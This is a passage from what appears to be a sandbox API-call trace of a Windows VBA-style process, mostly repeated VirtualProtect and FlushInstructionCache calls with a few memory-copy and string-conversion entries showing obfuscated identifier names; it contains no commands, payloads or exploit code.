lpflOldProtect=0x19748c*=0x40) returned 1 [0084.751] GetCurrentProcess () returned 0xffffffff [0084.751] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0084.751] GetCurrentProcess () returned 0xffffffff [0084.751] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0084.751] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.751] GetCurrentProcess () returned 0xffffffff [0084.751] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0084.751] GetCurrentProcess () returned 0xffffffff [0084.751] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0084.751] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.752] GetCurrentProcess () returned 0xffffffff [0084.752] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0084.752] GetCurrentProcess () returned 0xffffffff [0084.752] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0084.752] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.752] GetCurrentProcess () returned 0xffffffff [0084.752] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0084.752] GetCurrentProcess () returned 0xffffffff [0084.752] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0084.752] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.753] GetCurrentProcess () returned 0xffffffff [0084.753] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0084.753] GetCurrentProcess () returned 0xffffffff [0084.753] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0084.753] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.753] GetCurrentProcess () returned 0xffffffff [0084.753] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0084.753] GetCurrentProcess () returned 0xffffffff [0084.753] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0084.753] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.754] GetCurrentProcess () returned 0xffffffff [0084.754] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0084.754] GetCurrentProcess () returned 0xffffffff [0084.754] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0084.754] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.754] GetCurrentProcess () returned 0xffffffff [0084.754] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0084.754] GetCurrentProcess () returned 0xffffffff [0084.754] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0084.754] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.755] GetCurrentProcess () returned 0xffffffff [0084.755] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0084.755] GetCurrentProcess () returned 0xffffffff [0084.755] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0084.755] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.755] GetCurrentProcess () returned 0xffffffff [0084.755] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0084.755] GetCurrentProcess () returned 0xffffffff [0084.755] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0084.755] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.756] GetCurrentProcess () returned 0xffffffff [0084.756] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0084.756] GetCurrentProcess () returned 0xffffffff [0084.756] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0084.756] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.756] GetCurrentProcess () returned 0xffffffff [0084.756] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0084.756] GetCurrentProcess () returned 0xffffffff [0084.756] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0084.756] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.756] GetCurrentProcess () returned 0xffffffff [0084.756] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0084.757] GetCurrentProcess () returned 0xffffffff [0084.757] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0084.757] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.757] GetCurrentProcess () returned 0xffffffff [0084.757] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0084.757] GetCurrentProcess () returned 0xffffffff [0084.757] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0084.757] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.757] GetCurrentProcess () returned 0xffffffff [0084.757] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0084.757] GetCurrentProcess () returned 0xffffffff [0084.757] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0084.758] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.758] GetCurrentProcess () returned 0xffffffff [0084.758] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0084.758] GetCurrentProcess () returned 0xffffffff [0084.758] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0084.758] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.759] GetCurrentProcess () returned 0xffffffff [0084.759] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0084.759] GetCurrentProcess () returned 0xffffffff [0084.759] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0084.759] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.759] GetCurrentProcess () returned 0xffffffff [0084.759] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0084.759] GetCurrentProcess () returned 0xffffffff [0084.759] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0084.759] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.760] GetCurrentProcess () returned 0xffffffff [0084.760] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0084.760] GetCurrentProcess () returned 0xffffffff [0084.760] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0084.760] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.760] GetCurrentProcess () returned 0xffffffff [0084.760] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0084.760] GetCurrentProcess () returned 0xffffffff [0084.760] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0084.760] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.761] GetCurrentProcess () returned 0xffffffff [0084.761] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0084.761] GetCurrentProcess () returned 0xffffffff [0084.761] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0084.761] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19748c | out: lpflOldProtect=0x19748c*=0x40) returned 1 [0084.761] GetCurrentProcess () returned 0xffffffff [0084.761] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0084.762] GetAsyncKeyState (vKey=3) returned 0 [0084.762] VarCmp (pvarLeft=0x197d98, pvarRight=0x197d88, lcid=0x0, dwFlags=0x30001) returned 0x1 [0084.762] CRetailMalloc_Alloc () returned 0xca90fc8 [0084.762] memcpy (in: _Dst=0xfa54f38, _Src=0x197508, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.762] memcpy (in: _Dst=0xfa55040, _Src=0x197524, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.763] memcpy (in: _Dst=0xfa54f38, _Src=0x197508, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x112c2de6, cbMultiByte=27, lpWideCharStr=0x197324, cchWideChar=28 | out: lpWideCharStr="———–——––—––———–––——–—–——––") returned 27 [0084.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280a6e, cbMultiByte=27, lpWideCharStr=0x197384, cchWideChar=28 | out: lpWideCharStr="———–——––—––———–––——–—–——––") returned 27 [0084.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280a6e, cbMultiByte=27, lpWideCharStr=0x197384, cchWideChar=28 | out: lpWideCharStr="———–——––—––———–––——–—–——––") returned 27 [0084.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280a6e, cbMultiByte=27, lpWideCharStr=0x197384, cchWideChar=28 | out: lpWideCharStr="———–——––—––———–––——–—–——––") returned 27 [0084.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280a6e, cbMultiByte=27, lpWideCharStr=0x197384, cchWideChar=28 | out: lpWideCharStr="———–——––—––———–––——–—–——––") returned 27 [0084.764] CRetailMalloc_Alloc () returned 0xc8f41c0 [0084.764] _mbscpy_s (in: _Dst=0xc8f41c0, _DstSizeInBytes=0x1b, _Src=0x11280a6e | out: _Dst=0xc8f41c0) returned 0x0 [0084.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x11280b12, cbMultiByte=34, lpWideCharStr=0x197394, cchWideChar=35 | out: lpWideCharStr="_B_var_———–——––—––———–––——–—–——––") returned 34 [0084.765] _mbscpy_s (in: _Dst=0x1973fc, _DstSizeInBytes=0x1b, _Src=0x11280a6e | out: _Dst=0x1973fc) returned 0x0 [0084.765] CRetailMalloc_Free () returned 0x1 [0084.765] memcpy (in: _Dst=0xfa55040, _Src=0xfa55040, _Size=0xc | out: _Dst=0xfa55040) returned 0xfa55040 [0084.765] memcpy (in: _Dst=0xfa54f38, _Src=0x197508, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.765] memcpy (in: _Dst=0xfa54f38, _Src=0x197374, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.765] memcpy (in: _Dst=0xfa54f38, _Src=0x197374, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.765] CRetailMalloc_Realloc () returned 0xcaaa558 [0084.765] memcpy (in: _Dst=0xfa54f38, _Src=0x197374, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.765] memcpy (in: _Dst=0xfa54f38, _Src=0x197508, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.765] memcpy (in: _Dst=0xfa54f38, _Src=0x197508, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.766] memcpy (in: _Dst=0xca91048, _Src=0x1975a4, _Size=0x18 | out: _Dst=0xca91048) returned 0xca91048 [0084.766] CRetailMalloc_Realloc () returned 0xca90fc8 [0084.766] CRetailMalloc_Free () returned 0x1 [0084.766] GetCurrentProcess () returned 0xffffffff [0084.766] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0084.766] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.766] GetCurrentProcess () returned 0xffffffff [0084.766] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0084.766] GetCurrentProcess () returned 0xffffffff [0084.766] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0084.766] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.767] GetCurrentProcess () returned 0xffffffff [0084.767] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0084.767] GetCurrentProcess () returned 0xffffffff [0084.767] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0084.767] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.767] GetCurrentProcess () returned 0xffffffff [0084.767] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0084.767] GetCurrentProcess () returned 0xffffffff [0084.767] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0084.767] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.768] GetCurrentProcess () returned 0xffffffff [0084.768] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0084.768] GetCurrentProcess () returned 0xffffffff [0084.768] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0084.768] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.768] GetCurrentProcess () returned 0xffffffff [0084.768] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0084.768] GetCurrentProcess () returned 0xffffffff [0084.768] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0084.768] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.769] GetCurrentProcess () returned 0xffffffff [0084.769] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0084.769] GetCurrentProcess () returned 0xffffffff [0084.769] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0084.769] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.769] GetCurrentProcess () returned 0xffffffff [0084.769] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0084.769] GetCurrentProcess () returned 0xffffffff [0084.769] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0084.769] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.770] GetCurrentProcess () returned 0xffffffff [0084.770] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0084.770] GetCurrentProcess () returned 0xffffffff [0084.770] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0084.770] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.770] GetCurrentProcess () returned 0xffffffff [0084.770] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0084.770] GetCurrentProcess () returned 0xffffffff [0084.770] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0084.770] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.771] GetCurrentProcess () returned 0xffffffff [0084.771] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0084.771] GetCurrentProcess () returned 0xffffffff [0084.771] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0084.771] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.771] GetCurrentProcess () returned 0xffffffff [0084.771] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0084.771] GetCurrentProcess () returned 0xffffffff [0084.771] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0084.771] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.772] GetCurrentProcess () returned 0xffffffff [0084.772] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0084.772] GetCurrentProcess () returned 0xffffffff [0084.772] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0084.772] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.772] GetCurrentProcess () returned 0xffffffff [0084.772] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0084.772] GetCurrentProcess () returned 0xffffffff [0084.772] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0084.772] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.773] GetCurrentProcess () returned 0xffffffff [0084.773] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0084.773] GetCurrentProcess () returned 0xffffffff [0084.773] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0084.773] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.773] GetCurrentProcess () returned 0xffffffff [0084.773] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0084.773] GetCurrentProcess () returned 0xffffffff [0084.773] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0084.773] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.774] GetCurrentProcess () returned 0xffffffff [0084.774] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0084.774] GetCurrentProcess () returned 0xffffffff [0084.774] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0084.774] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.774] GetCurrentProcess () returned 0xffffffff [0084.774] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0084.774] GetCurrentProcess () returned 0xffffffff [0084.774] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0084.774] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.775] GetCurrentProcess () returned 0xffffffff [0084.775] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0084.775] GetCurrentProcess () returned 0xffffffff [0084.775] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0084.775] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.775] GetCurrentProcess () returned 0xffffffff [0084.775] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0084.776] GetCurrentProcess () returned 0xffffffff [0084.776] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0084.776] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.776] GetCurrentProcess () returned 0xffffffff [0084.776] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0084.776] GetCurrentProcess () returned 0xffffffff [0084.776] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0084.776] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.776] GetCurrentProcess () returned 0xffffffff [0084.776] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0084.776] GetCurrentProcess () returned 0xffffffff [0084.776] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0084.777] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.777] GetCurrentProcess () returned 0xffffffff [0084.777] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0084.777] GetCurrentProcess () returned 0xffffffff [0084.777] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0084.777] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.777] GetCurrentProcess () returned 0xffffffff [0084.777] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0084.777] GetCurrentProcess () returned 0xffffffff [0084.777] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0084.777] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.778] GetCurrentProcess () returned 0xffffffff [0084.778] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0084.778] GetCurrentProcess () returned 0xffffffff [0084.778] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0084.778] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.778] GetCurrentProcess () returned 0xffffffff [0084.778] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0084.778] GetCurrentProcess () returned 0xffffffff [0084.778] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0084.778] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.779] GetCurrentProcess () returned 0xffffffff [0084.779] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0084.779] GetCurrentProcess () returned 0xffffffff [0084.779] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0084.779] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.779] GetCurrentProcess () returned 0xffffffff [0084.779] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0084.779] GetCurrentProcess () returned 0xffffffff [0084.779] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0084.779] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.780] GetCurrentProcess () returned 0xffffffff [0084.780] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0084.780] GetCurrentProcess () returned 0xffffffff [0084.780] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0084.780] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.780] GetCurrentProcess () 